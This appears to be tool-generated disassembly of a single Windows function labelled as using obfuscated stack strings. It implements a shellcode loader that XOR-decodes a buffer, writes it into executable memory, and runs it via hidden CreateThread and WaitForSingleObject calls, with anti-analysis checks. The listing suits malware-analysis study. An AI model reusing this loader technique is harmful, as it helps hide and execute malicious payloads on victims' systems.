Function at 0x14000da9c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rdi
sub rsp, 0xd80
mov rax, qword [0x14003bba8]
xor rax, rsp
mov qword [rsp + 0xd78], rax
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x30]
call fcn.14000c508
mov rcx, rax
call fcn.14000bff4
mov rdx, rax
lea rcx, [rsp + 0xd30]
call fcn.140009854
nop
mov edx, 0x18
lea rcx, [rsp + 0xd18]
call fcn.140017508
lea rdx, [rsp + 0xd30]
lea rcx, [rsp + 0xd18]
call fcn.14001afa8
nop
lea rcx, [rsp + 0xd08]
call fcn.14001c2cc
mov dword [rsp + 0x48], 0xbb8
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0xc0]
call fcn.14000125c
mov rcx, rax
call fcn.140007760
lea rcx, [rsp + 0xd10]
call fcn.14001c2cc
lea r8, [rsp + 0xd08]
lea rdx, [rsp + 0xd10]
lea rcx, [rsp + 0xc8]
call fcn.1400016e8
mov rdx, rax
lea rcx, [rsp + 0xd00]
call fcn.140006f44
lea rcx, [rsp + 0xd00]
call fcn.140003030
mov dword [rsp + 0x4c], eax
mov dword [rsp + 0x50], 0x7f149
mov eax, dword [rsp + 0x4c]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
mov edx, dword [rsp + 0x40]
lea rcx, [0x14003c680]
call fcn.14000ba24
lea rdx, [0x1400070a0]
mov rcx, rax
call fcn.14000bc6c
mov al, byte [0x14003bb6c]
movsx eax, al
mov dword [rsp + 0x54], eax
call fcn.140017500
movsx eax, al
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
call fcn.1400174f4
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x58], eax
call fcn.1400174f0
movsx eax, al
mov ecx, dword [rsp + 0x58]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14003bb6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14003bb68]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14000e08c
cmp dword [rsp + 0x40], 0x7be73
jle 0x14000dc49
mov dword [rsp + 0x44], 1
jmp 0x14000dc51
mov dword [rsp + 0x44], 0
cmp dword [rsp + 0x44], 0x80c93
jge 0x14000dc69
mov qword [rsp + 0x88], 1
jmp 0x14000dc75
mov qword [rsp + 0x88], 0
cvtsi2sd xmm0, qword [rsp + 0x88]
call fcn.14001b480
mov dword [rsp + 0x6c], eax
mov cl, byte [0x14003bb6c]
movsx ecx, cl
mov dword [rsp + 0x60], ecx
call fcn.140017500
movsx eax, al
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
call fcn.1400174f4
movsx eax, al
mov dword [rsp + 0x64], eax
call fcn.1400174f0
movsx eax, al
mov ecx, dword [rsp + 0x64]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14003bb6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14003bb68]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0x6c]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x14000e08c
xor eax, eax
cmp eax, 6
je 0x14000e08c
lea rcx, [rsp + 0xd18]
call fcn.14001d46c
mov qword [rsp + 0xcf0], rax
mov rcx, qword [rsp + 0xcf0]
call fcn.140022420
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0xd18]
call fcn.140017318
mov r8, qword [rsp + 0xcf0]
mov rdx, rax
mov rcx, qword [rsp + 0x90]
call sub.msvcrt.dll_memcpy
mov dword [rsp + 0x34], 0
jmp 0x14000dd75
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
mov al, byte [0x14003bb6c]
movsx eax, al
mov dword [rsp + 0x70], eax
call fcn.140017500
movsx eax, al
mov ecx, dword [rsp + 0x70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x78], eax
call fcn.1400174f4
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x74], eax
call fcn.1400174f0
movsx eax, al
mov ecx, dword [rsp + 0x74]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x78]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14003bb6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14003bb68]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.14001b480
cmp dword [rsp + 0x34], eax
jge 0x14000de4c
mov qword [rsp + 0x38], 0
jmp 0x14000de00
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0x1191
jae 0x14000de47
lea rax, str.8080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
mov dl, 0xaa
mov rcx, qword [rsp + 0x38]
mov cl, byte [rax + rcx]
call fcn.14001d758
lea rax, str.8080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
mov rcx, qword [rsp + 0x38]
movzx eax, byte [rax + rcx]
xor eax, 0xfe
lea rcx, str.8080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
mov rdx, qword [rsp + 0x38]
mov byte [rcx + rdx], al
jmp 0x14000ddf3
jmp 0x14000dd6b
call fcn.14001ac48
call fcn.14000d918
mov qword [rsp + 0xcf8], 0
mov dword [rsp + 0x80], 0x1000
mov dword [rsp + 0x7c], 0x40
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, dword [rsp + 0x7c]
mov dword [rsp + 0x28], ecx
mov ecx, dword [rsp + 0x80]
mov dword [rsp + 0x20], ecx
lea r9, [rsp + 0xcf0]
xor r8d, r8d
lea rdx, [rsp + 0xcf8]
mov rcx, rax
call fcn.14001edf0
mov dword [rsp + 0x98], eax
call fcn.14000e0c0
call fcn.14001ac48
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0xcf0]
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xcf8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov byte [rsp + 0xd50], 0x43
mov byte [rsp + 0xd51], 0x72
mov byte [rsp + 0xd52], 0x65
mov byte [rsp + 0xd53], 0x61
mov byte [rsp + 0xd54], 0x74
mov byte [rsp + 0xd55], 0x65
mov byte [rsp + 0xd56], 0x54
mov byte [rsp + 0xd57], 0x68
mov byte [rsp + 0xd58], 0x72
mov byte [rsp + 0xd59], 0x65
mov byte [rsp + 0xd5a], 0x61
mov byte [rsp + 0xd5b], 0x64
mov byte [rsp + 0xd5c], 0
lea rcx, [0x14002f7c8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rsp + 0xd50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa8], rax
call fcn.14001ac48
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xcf8]
xor edx, edx
xor ecx, ecx
call qword [rsp + 0xa8]
mov qword [rsp + 0xb0], rax
mov byte [rsp + 0xd60], 0x57
mov byte [rsp + 0xd61], 0x61
mov byte [rsp + 0xd62], 0x69
mov byte [rsp + 0xd63], 0x74
mov byte [rsp + 0xd64], 0x46
mov byte [rsp + 0xd65], 0x6f
mov byte [rsp + 0xd66], 0x72
mov byte [rsp + 0xd67], 0x53
mov byte [rsp + 0xd68], 0x69
mov byte [rsp + 0xd69], 0x6e
mov byte [rsp + 0xd6a], 0x67
mov byte [rsp + 0xd6b], 0x6c
mov byte [rsp + 0xd6c], 0x65
mov byte [rsp + 0xd6d], 0x4f
mov byte [rsp + 0xd6e], 0x62
mov byte [rsp + 0xd6f], 0x6a
mov byte [rsp + 0xd70], 0x65
mov byte [rsp + 0xd71], 0x63
mov byte [rsp + 0xd72], 0x74
mov byte [rsp + 0xd73], 0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rsp + 0xd60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xb8], rax
call fcn.14001ac48
mov edx, 0xffffffff
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0xb8]
nop
lea rcx, [rsp + 0xd18]
call fcn.14000b33c
nop
lea rcx, [rsp + 0xd30]
call fcn.14000b1fc
mov rcx, qword [rsp + 0xd78]
xor rcx, rsp
call fcn.140022540
add rsp, 0xd80
pop rdi
ret